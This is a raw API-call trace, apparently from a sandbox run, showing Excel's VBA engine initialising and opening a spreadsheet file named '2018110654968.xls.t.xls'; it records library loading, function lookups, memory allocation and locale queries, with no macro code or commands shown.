	[0049.834] lstrcpyA (in: lpString1=0x270040, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\"
	[0049.834] strcpy_s (in: _Dst=0x270260, _DstSize=0x200, _Src="VBE7INTL.DLL" | out: _Dst="VBE7INTL.DLL") returned 0x0
	[0049.834] _ultoa_s (in: _Val=0x409, _DstBuf=0x26fdc0, _Size=0x6, _Radix=10 | out: _DstBuf="1033") returned 0x0
	[0049.834] strcat_s (in: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\", _SizeInBytes=0x104, _Source="1033" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033") returned 0x0
	[0049.834] strcat_s (in: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033", _SizeInBytes=0x104, _Source="\\" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033\\") returned 0x0
	[0049.835] strcat_s (in: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033\\", _SizeInBytes=0x104, _Source="VBE7INTL.DLL" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBE7INTL.DLL") returned 0x0
	[0049.835] lstrlenA (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBE7INTL.DLL") returned 75
	[0049.835] CharToOemBuffA (in: lpszSrc="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBE7INTL.DLL", lpszDst=0x26fc70, cchDstLength=0x4c | out: lpszDst="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBE7INTL.DLL") returned 1
	[0049.835] _access_s (_FileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBE7INTL.DLL", _AccessMode=0) returned 0x0
	[0049.837] strcpy_s (in: _Dst=0x26fef0, _DstSize=0x104, _Src="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBE7INTL.DLL" | out: _Dst="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBE7INTL.DLL") returned 0x0
	[0049.837] LoadLibraryA (lpLibFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBE7INTL.DLL") returned 0x7fee6ab0000
	[0049.841] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10018cf300000b71) returned 1
	[0049.841] GetSystemDefaultLCID () returned 0x409
	[0049.841] GetUserDefaultLCID () returned 0x409
	[0049.841] GetLocaleInfoA (in: Locale=0x400, LCType=0xe, lpLCData=0x270580, cchData=2 | out: lpLCData=".") returned 2
	[0049.841] GetStockObject (i=13) returned 0x18a002e
	[0049.841] GetObjectA (in: h=0x18a002e, c=60, pv=0x270520 | out: pv=0x270520) returned 60
	[0049.841] lstrcpyA (in: lpString1=0x7fee6141b70, lpString2="Vbui6.chm" | out: lpString1="Vbui6.chm") returned="Vbui6.chm"
	[0049.841] lstrcpyA (in: lpString1=0x7fee6140b40, lpString2="VbLR6.chm" | out: lpString1="VbLR6.chm") returned="VbLR6.chm"
	[0049.842] GetModuleFileNameA (in: hModule=0x7fee5d60000, lpFilename=0x2705c0, nSize=0x104 | out: lpFilename="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll")) returned 0x42
	[0049.843] lstrlenA (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL") returned 66
	[0049.843] lstrcpyA (in: lpString1=0xd54c4e0, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL"
	[0049.843] GetCurrentDirectoryA (in: nBufferLength=0x104, lpBuffer=0x270450 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19
	[0049.843] GetVersionExA (in: lpVersionInformation=0x2704b0*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x1, dwBuildNumber=0x0, dwPlatformId=0x43, szCSDVersion="") | out: lpVersionInformation=0x2704b0*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1
	[0049.843] RegOpenKeyA (in: hKey=0xffffffff80000000, lpSubKey="Licenses", phkResult=0x2703d8 | out: phkResult=0x2703d8*=0xcaa) returned 0x0
	[0049.843] strcpy_s (in: _Dst=0x2703e0, _DstSize=0x80, _Src="8804558B-B773-11d1-BC3E-0000F87552E7" | out: _Dst="8804558B-B773-11d1-BC3E-0000F87552E7") returned 0x0
	[0049.843] strcpy_s (in: _Dst=0x270460, _DstSize=0xc8, _Src="8804558B-B773-11d1-BC3E-0000F87552E7" | out: _Dst="8804558B-B773-11d1-BC3E-0000F87552E7") returned 0x0
	[0049.843] _strrev (in: _Str="8804558B-B773-11d1-BC3E-0000F87552E7" | out: _Str="7E25578F0000-E3CB-1d11-377B-B8554088") returned="7E25578F0000-E3CB-1d11-377B-B8554088"
	[0049.844] RegQueryValueA (in: hKey=0xcaa, lpSubKey="8804558B-B773-11d1-BC3E-0000F87552E7", lpData=0x270460, lpcbData=0x2703d0 | out: lpData="\x0f}\x02\x01", lpcbData=0x2703d0) returned 0x2
	[0049.844] RegCloseKey (hKey=0xcaa) returned 0x0
	[0049.844] OleInitialize (pvReserved=0x0) returned 0x1
	[0049.844] OaBuildVersion () returned 0x321396
	[0049.844] LoadLibraryA (lpLibFileName="OLEAUT32.DLL") returned 0x7feffd80000
	[0049.845] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10018cf300000b72) returned 1
	[0049.845] GetLastError () returned 0x0
	[0049.845] GetProcAddress (hModule=0x7feffd80000, lpProcName="SysFreeString") returned 0x7feffd81320
	[0049.846] GetProcAddress (hModule=0x7feffd80000, lpProcName="LoadTypeLib") returned 0x7feffd8f1e0
	[0049.846] GetProcAddress (hModule=0x7feffd80000, lpProcName="RegisterTypeLib") returned 0x7feffddcaa0
	[0049.847] GetProcAddress (hModule=0x7feffd80000, lpProcName="QueryPathOfRegTypeLib") returned 0x7feffe11760
	[0049.847] GetProcAddress (hModule=0x7feffd80000, lpProcName="UnRegisterTypeLib") returned 0x7feffe120d0
	[0049.848] GetProcAddress (hModule=0x7feffd80000, lpProcName="OleTranslateColor") returned 0x7feffdac760
	[0049.848] GetProcAddress (hModule=0x7feffd80000, lpProcName="OleCreateFontIndirect") returned 0x7feffddecd0
	[0049.848] GetProcAddress (hModule=0x7feffd80000, lpProcName="OleCreatePictureIndirect") returned 0x7feffdde840
	[0049.849] GetProcAddress (hModule=0x7feffd80000, lpProcName="OleLoadPicture") returned 0x7feffdef420
	[0049.849] GetProcAddress (hModule=0x7feffd80000, lpProcName="OleCreatePropertyFrameIndirect") returned 0x7feffde4ec0
	[0049.850] GetProcAddress (hModule=0x7feffd80000, lpProcName="OleCreatePropertyFrame") returned 0x7feffde9350
	[0049.850] GetProcAddress (hModule=0x7feffd80000, lpProcName="OleIconToCursor") returned 0x7feffdb6e40
	[0049.850] GetProcAddress (hModule=0x7feffd80000, lpProcName="LoadTypeLibEx") returned 0x7feffd8a550
	[0049.851] GetProcAddress (hModule=0x7feffd80000, lpProcName="OleLoadPictureEx") returned 0x7feffdef320
	[0049.851] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0049.851] LoadCursorA (hInstance=0x0, lpCursorName=0x7f02) returned 0x10007
	[0049.851] GetClassInfoA (in: hInstance=0x7fee5d60000, lpClassName="VBBubble", lpWndClass=0x270510 | out: lpWndClass=0x270510) returned 0
	[0049.851] RegisterClassA (lpWndClass=0x270510) returned 0xbd750be2c1bd
	[0049.851] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10018cf300000b73) returned 1
	[0049.851] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Count") returned 0x107630
	[0049.851] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="_Default") returned 0x10c26a
	[0049.851] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Item") returned 0x107ad7
	[0049.851] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Add") returned 0x1072f7
	[0049.851] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Remove") returned 0x10b1cf
	[0049.851] GlobalAddAtomA (lpString="VBDisabled") returned 0xbd760be2c13a
	[0049.851] RegisterClassExA (param_1=0x270630) returned 0xbd790c08c1be
	[0049.851] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10018cf300000b74) returned 1
	[0049.852] CreateWindowExA (dwExStyle=0x80, lpClassName="ThunderMain", lpWindowName=0x0, dwStyle=0x80000000, X=-2147483648, Y=-2147483648, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x7fee5d60000, lpParam=0x0) returned 0x202b0
	[0049.853] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10018cf300000b75) returned 1
	[0049.853] GetVersionExA (in: lpVersionInformation=0x270420*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x270420*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1
	[0049.854] GetModuleHandleA (lpModuleName="USER32") returned 0x77a20000
	[0049.854] GetProcAddress (hModule=0x77a20000, lpProcName="GetSystemMetrics") returned 0x77a394f0
	[0049.854] GetProcAddress (hModule=0x77a20000, lpProcName="MonitorFromWindow") returned 0x77a35f08
	[0049.855] GetProcAddress (hModule=0x77a20000, lpProcName="MonitorFromRect") returned 0x77a32b00
	[0049.855] GetProcAddress (hModule=0x77a20000, lpProcName="MonitorFromPoint") returned 0x77a2ab64
	[0049.856] GetProcAddress (hModule=0x77a20000, lpProcName="EnumDisplayMonitors") returned 0x77a35c30
	[0049.856] GetProcAddress (hModule=0x77a20000, lpProcName="GetMonitorInfoA") returned 0x77a2a730
	[0049.856] GetProcAddress (hModule=0x77a20000, lpProcName="EnumDisplayDevicesA") returned 0x77a2a5b4
	[0049.857] MonitorFromWindow (hwnd=0x202b0, dwFlags=0x2) returned 0x10001
	[0049.857] GetMonitorInfoA (in: hMonitor=0x10001, lpmi=0x270630 | out: lpmi=0x270630) returned 1
	[0049.857] SetWindowPos (hWnd=0x202b0, hWndInsertAfter=0x0, X=720, Y=450, cx=0, cy=0, uFlags=0x1d) returned 1
	[0049.857] GetVersion () returned 0x1db10106
	[0049.857] GetModuleHandleA (lpModuleName="oleaut32.dll") returned 0x7feffd80000
	[0049.858] GetProcAddress (hModule=0x7feffd80000, lpProcName="DispCallFunc") returned 0x7feffd82270
	[0049.858] GetProcAddress (hModule=0x7feffd80000, lpProcName="LoadTypeLibEx") returned 0x7feffd8a550
	[0049.859] GetProcAddress (hModule=0x7feffd80000, lpProcName="UnRegisterTypeLib") returned 0x7feffe120d0
	[0049.859] GetProcAddress (hModule=0x7feffd80000, lpProcName="CreateTypeLib2") returned 0x7feffe0dbd0
	[0049.860] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarDateFromUdate") returned 0x7feffd85c90
	[0049.860] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarUdateFromDate") returned 0x7feffd86330
	[0049.861] GetProcAddress (hModule=0x7feffd80000, lpProcName="GetAltMonthNames") returned 0x7feffda66c0
	[0049.861] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarNumFromParseNum") returned 0x7feffd84710
	[0049.861] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarParseNumFromStr") returned 0x7feffd848f0
	[0049.862] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarDecFromR4") returned 0x7feffdbb640
	[0049.862] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarDecFromR8") returned 0x7feffdbb360
	[0049.863] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarDecFromDate") returned 0x7feffdc2640
	[0049.863] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarDecFromI4") returned 0x7feffda58a0
	[0049.864] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarDecFromCy") returned 0x7feffda5820
	[0049.864] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarR4FromDec") returned 0x7feffdbaf20
	[0049.865] GetProcAddress (hModule=0x7feffd80000, lpProcName="GetRecordInfoFromTypeInfo") returned 0x7feffdda0c0
	[0049.865] GetProcAddress (hModule=0x7feffd80000, lpProcName="GetRecordInfoFromGuids") returned 0x7feffe12160
	[0049.866] GetProcAddress (hModule=0x7feffd80000, lpProcName="SafeArrayGetRecordInfo") returned 0x7feffda5af0
	[0049.866] GetProcAddress (hModule=0x7feffd80000, lpProcName="SafeArraySetRecordInfo") returned 0x7feffda5a90
	[0049.866] GetProcAddress (hModule=0x7feffd80000, lpProcName="SafeArrayGetIID") returned 0x7feffda5a60
	[0049.867] GetProcAddress (hModule=0x7feffd80000, lpProcName="SafeArraySetIID") returned 0x7feffda5a30
	[0049.867] GetProcAddress (hModule=0x7feffd80000, lpProcName="SafeArrayCopyData") returned 0x7feffd860b0
	[0049.868] GetProcAddress (hModule=0x7feffd80000, lpProcName="SafeArrayAllocDescriptorEx") returned 0x7feffd83e90
	[0049.868] GetProcAddress (hModule=0x7feffd80000, lpProcName="SafeArrayCreateEx") returned 0x7feffdd9f80
	[0049.869] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarFormat") returned 0x7feffe09b20
	[0049.869] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarFormatDateTime") returned 0x7feffe09aa0
	[0049.869] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarFormatNumber") returned 0x7feffe09990
	[0049.870] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarFormatPercent") returned 0x7feffe09890
	[0049.870] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarFormatCurrency") returned 0x7feffe09770
	[0049.871] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarWeekdayName") returned 0x7feffdeb8d0
	[0049.871] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarMonthName") returned 0x7feffdeb800
	[0049.872] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarAdd") returned 0x7feffe048e0
	[0049.872] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarAnd") returned 0x7feffe09470
	[0049.873] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarCat") returned 0x7feffe096a0
	[0049.873] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarDiv") returned 0x7feffe02fe0
	[0049.873] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarEqv") returned 0x7feffe09cf0
	[0049.874] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarIdiv") returned 0x7feffe08ff0
	[0049.874] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarImp") returned 0x7feffe09c00
	[0049.875] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarMod") returned 0x7feffe08e60
	[0049.875] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarMul") returned 0x7feffe03690
	[0049.876] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarOr") returned 0x7feffe092d0
	[0049.876] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarPow") returned 0x7feffe02e80
	[0049.877] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarSub") returned 0x7feffe03f90
	[0049.882] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarXor") returned 0x7feffe091a0
	[0049.883] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarAbs") returned 0x7feffde7c30
	[0049.883] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarFix") returned 0x7feffde7a60
	[0049.884] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarInt") returned 0x7feffde7890
	[0049.884] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarNeg") returned 0x7feffde7ea0
	[0049.885] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarNot") returned 0x7feffe09600
	[0049.885] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarRound") returned 0x7feffde76a0
	[0049.886] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarCmp") returned 0x7feffe083f0
	[0049.886] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarDecAdd") returned 0x7feffdb3070
	[0049.887] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarDecCmp") returned 0x7feffdbd700
	[0049.887] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarBstrCat") returned 0x7feffdbd890
	[0049.888] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarCyMulI4") returned 0x7feffd9caf0
	[0049.888] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarBstrCmp") returned 0x7feffda8a00
	[0049.889] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0x75e77d0
	[0049.889] GetUserDefaultLCID () returned 0x409
	[0049.903] IMalloc:Alloc (This=0x7feffc15380, cb=0x3c) returned 0x77027d0
	[0049.903] IMalloc:Alloc (This=0x7feffc15380, cb=0x38) returned 0xb969740
	[0049.903] IMalloc:Alloc (This=0x7feffc15380, cb=0x20000*=0x78746341) returned 0xbaff7d0
	[0049.904] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0x75e7920
	[0049.905] IMalloc:Alloc (This=0x7feffc15380, cb=0x7d8) returned 0xb633550
	[0049.906] IMalloc:Alloc (This=0x7feffc15380, cb=0x98) returned 0xb973c00
	[0049.906] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0x75e7980
	[0049.907] IMalloc:Alloc (This=0x7feffc15380, cb=0x28) returned 0x75e49e0
	[0049.915] lstrcmpiW (lpString1="C:\\Users\\aETAdzjz\\Desktop\\2018110654968.xls.t.xls", lpString2="") returned 1
	[0049.915] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\aETAdzjz\\Desktop\\2018110654968.xls.t.xls", cchWideChar=-1, lpMultiByteStr=0x270bd0, cbMultiByte=99, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\aETAdzjz\\Desktop\\2018110654968.xls.t.xls", lpUsedDefaultChar=0x0) returned 50
	[0049.915] lstrlenA (lpString="C:\\Users\\aETAdzjz\\Desktop\\2018110654968.xls.t.xls") returned 49
	[0049.915] lstrcpyA (in: lpString1=0xd54c750, lpString2="C:\\Users\\aETAdzjz\\Desktop\\2018110654968.xls.t.xls" | out: lpString1="C:\\Users\\aETAdzjz\\Desktop\\2018110654968.xls.t.xls") returned="C:\\Users\\aETAdzjz\\Desktop\\2018110654968.xls.t.xls"
	[0049.916] SetCursor (hCursor=0x10007) returned 0x10007
	[0049.916] GetCurrentThreadId () returned 0x8e8
	[0049.916] GetCurrentThreadId () returned 0x8e8
	[0049.917] IMalloc:Alloc (This=0x7feffc15380, cb=0x4) returned 0x2571fa0
	[0049.917] IMalloc:Alloc (This=0x7feffc15380, cb=0xf0) returned 0x75ce4f0
	[0049.917] IMalloc:Alloc (This=0x7feffc15380, cb=0x80) returned 0xba53dd0
	[0049.917] IMalloc:Alloc (This=0x7feffc15380, cb=0x280) returned 0x74ef480
	[0049.918] IMalloc:Alloc (This=0x7feffc15380, cb=0xa08) returned 0x4fc85e0
	[0049.918] IMalloc:Alloc (This=0x7feffc15380, cb=0x1738) returned 0xbb1f7e0
	[0049.918] GetLocalTime (in: lpSystemTime=0x2703d8 | out: lpSystemTime=0x2703d8*(wYear=0x7e2, wMonth=0xb, wDayOfWeek=0x2, wDay=0x6, wHour=0x8, wMinute=0x1, wSecond=0x9, wMilliseconds=0x166)) 
	[0049.918] _ultow_s (in: _Value=0x5dbe8945, _Buffer=0x74ef4aa, _BufferCount=0x103, _Radix=16 | out: _Buffer="5dbe8945") returned 0x0
	[0049.918] wcsncpy_s (in: _Destination=0x2700a0, _SizeInWords=0x108, _Source="*\\Z005dbe8945", _MaxCount=0x106 | out: _Destination="*\\Z005dbe8945") returned 0x0
	[0049.918] CharLowerBuffW (in: lpsz="*\\Z005dbe8945", cchLength=0xd | out: lpsz="*\\z005dbe8945") returned 0xd
	[0049.918] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z005dbe8945", cchWideChar=14, lpMultiByteStr=0x26ffd0, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z005dbe8945", lpUsedDefaultChar=0x0) returned 14
	[0049.918] wcscpy_s (in: _Destination=0xba53df0, _SizeInWords=0xe, _Source="*\\Z005dbe8945" | out: _Destination="*\\Z005dbe8945") returned 0x0
	[0049.918] wcsncpy_s (in: _Destination=0x2700e0, _SizeInWords=0x108, _Source="*\\Z005dbe8945", _MaxCount=0x106 | out: _Destination="*\\Z005dbe8945") returned 0x0
	[0049.918] CharLowerBuffW (in: lpsz="*\\Z005dbe8945", cchLength=0xd | out: lpsz="*\\z005dbe8945") returned 0xd
	[0049.918] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z005dbe8945", cchWideChar=14, lpMultiByteStr=0x270010, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z005dbe8945", lpUsedDefaultChar=0x0) returned 14
	[0049.919] lstrcpyA (in: lpString1=0xd54c790, lpString2="C:\\Users\\aETAdzjz\\Desktop\\2018110654968.xls.t.xls" | out: lpString1="C:\\Users\\aETAdzjz\\Desktop\\2018110654968.xls.t.xls") returned="C:\\Users\\aETAdzjz\\Desktop\\2018110654968.xls.t.xls"
	[0049.919] lstrcpyA (in: lpString1=0xd54c790, lpString2="C:\\Users\\aETAdzjz\\Desktop\\2018110654968.xls.t.xls" | out: lpString1="C:\\Users\\aETAdzjz\\Desktop\\2018110654968.xls.t.xls") returned="C:\\Users\\aETAdzjz\\Desktop\\2018110654968.xls.t.xls"
	[0049.919] lstrcpyA (in: lpString1=0xd54c790, lpString2="C:\\Users\\aETAdzjz\\Desktop\\2018110654968.xls.t.xls" | out: lpString1="C:\\Users\\aETAdzjz\\Desktop\\2018110654968.xls.t.xls") returned="C:\\Users\\aETAdzjz\\Desktop\\2018110654968.xls.t.xls"
	[0049.919] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xd54c790, cbMultiByte=-1, lpWideCharStr=0x270a40, cchWideChar=50 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\Desktop\\2018110654968.xls.t.xls") returned 50
	[0049.920] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0049.920] wcscpy_s (in: _Destination=0x2707e6, _SizeInWords=0x105, _Source="C:\\Users\\aETAdzjz\\Desktop\\2018110654968.xls.t.xls" | out: _Destination="C:\\Users\\aETAdzjz\\Desktop\\2018110654968.xls.t.xls") returned 0x0
	[0049.920] wcsncpy_s (in: _Destination=0x270400, _SizeInWords=0x108, _Source="*\\Z005dbe8945", _MaxCount=0x106 | out: _Destination="*\\Z005dbe8945") returned 0x0
	[0049.920] CharLowerBuffW (in: lpsz="*\\Z005dbe8945", cchLength=0xd | out: lpsz="*\\z005dbe8945") returned 0xd
	[0049.920] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z005dbe8945", cchWideChar=14, lpMultiByteStr=0x270330, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z005dbe8945", lpUsedDefaultChar=0x0) returned 14
	[0049.920] _wcsicmp (_String1="*\\Z005dbe8945", _String2="*\\Z005dbe8945") returned 0
	[0049.920] wcsncpy_s (in: _Destination=0x270400, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\2018110654968.xls.t.xls", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\2018110654968.xls.t.xls") returned 0x0
	[0049.920] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\aETAdzjz\\Desktop\\2018110654968.xls.t.xls", cchLength=0x34 | out: lpsz="*\\cc:\\users\\aetadzjz\\desktop\\2018110654968.xls.t.xls") returned 0x34
	[0049.920] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\aetadzjz\\desktop\\2018110654968.xls.t.xls", cchWideChar=53, lpMultiByteStr=0x270330, cbMultiByte=106, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\aetadzjz\\desktop\\2018110654968.xls.t.xls", lpUsedDefaultChar=0x0) returned 53
	[0049.920] IMalloc:Realloc (This=0x7feffc15380, pv=0xba53dd0, cb=0x100) returned 0xb97caf0
	[0049.920] wcscpy_s (in: _Destination=0xb97cb30, _SizeInWords=0x35, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\2018110654968.xls.t.xls" | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\2018110654968.xls.t.xls") returned 0x0
	[0049.920] wcsncpy_s (in: _Destination=0x270400, _SizeInWords=0x108, _Source="*\\Z005dbe8945", _MaxCount=0x106 | out: _Destination="*\\Z005dbe8945") returned 0x0
	[0049.920] CharLowerBuffW (in: lpsz="*\\Z005dbe8945", cchLength=0xd | out: lpsz="*\\z005dbe8945") returned 0xd
	[0049.920] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z005dbe8945", cchWideChar=14, lpMultiByteStr=0x270330, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z005dbe8945", lpUsedDefaultChar=0x0) returned 14
	[0049.920] _wcsicmp (_String1="*\\Z005dbe8945", _String2="*\\Z005dbe8945") returned 0
	[0049.920] wcsncpy_s (in: _Destination=0x270440, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\2018110654968.xls.t.xls", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\2018110654968.xls.t.xls") returned 0x0
	[0049.920] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\aETAdzjz\\Desktop\\2018110654968.xls.t.xls", cchLength=0x34 | out: lpsz="*\\cc:\\users\\aetadzjz\\desktop\\2018110654968.xls.t.xls") returned 0x34
	[0049.920] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\aetadzjz\\desktop\\2018110654968.xls.t.xls", cchWideChar=53, lpMultiByteStr=0x270370, cbMultiByte=106, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\aetadzjz\\desktop\\2018110654968.xls.t.xls", lpUsedDefaultChar=0x0) returned 53
	[0049.920] wcscpy_s (in: _Destination=0x74ef4a0, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\2018110654968.xls.t.xls" | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\2018110654968.xls.t.xls") returned 0x0
	[0049.922] IMalloc:Alloc (This=0x7feffc15380, cb=0x84) returned 0xba53e60
	[0049.922] wcscpy_s (in: _Destination=0xba53ed0, _SizeInWords=0x7, _Source="__SRP_" | out: _Destination="__SRP_") returned 0x0
	[0049.922] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x180) returned 0xb61a950
	[0049.922] IMalloc:Alloc (This=0x7feffc15380, cb=0xb8) returned 0xb91c400
	[0049.922] IMalloc:Alloc (This=0x7feffc15380, cb=0xb8) returned 0xb91c4c0
	[0049.922] IMalloc:Alloc (This=0x7feffc15380, cb=0x230) returned 0xb9a9d20
	[0049.922] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x80) returned 0xba53ef0
	[0049.922] IMalloc:Alloc (This=0x7feffc15380, cb=0x230) returned 0xb9a8f40
	[0049.922] IMalloc:Alloc (This=0x7feffc15380, cb=0x230) returned 0xb9a9630
	[0049.922] IMalloc:Alloc (This=0x7feffc15380, cb=0x28) returned 0x75e4a40
	[0049.923] IMalloc:Alloc (This=0x7feffc15380, cb=0x10) returned 0x750d780
	[0049.923] GetLocaleInfoA (in: Locale=0x409, LCType=0x1004, lpLCData=0x26fcdc, cchData=6 | out: lpLCData="1252") returned 5
	[0049.923] atoi (_Str="1252") returned 1252
	[0049.923] GetLocalTime (in: lpSystemTime=0x26fcd0 | out: lpSystemTime=0x26fcd0*(wYear=0x7e2, wMonth=0xb, wDayOfWeek=0x2, wDay=0x6, wHour=0x8, wMinute=0x1, wSecond=0x9, wMilliseconds=0x166)) 
	[0049.923] IMalloc:Alloc (This=0x7feffc15380, cb=0x80) returned 0xba53f80
	[0049.923] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0xbace260
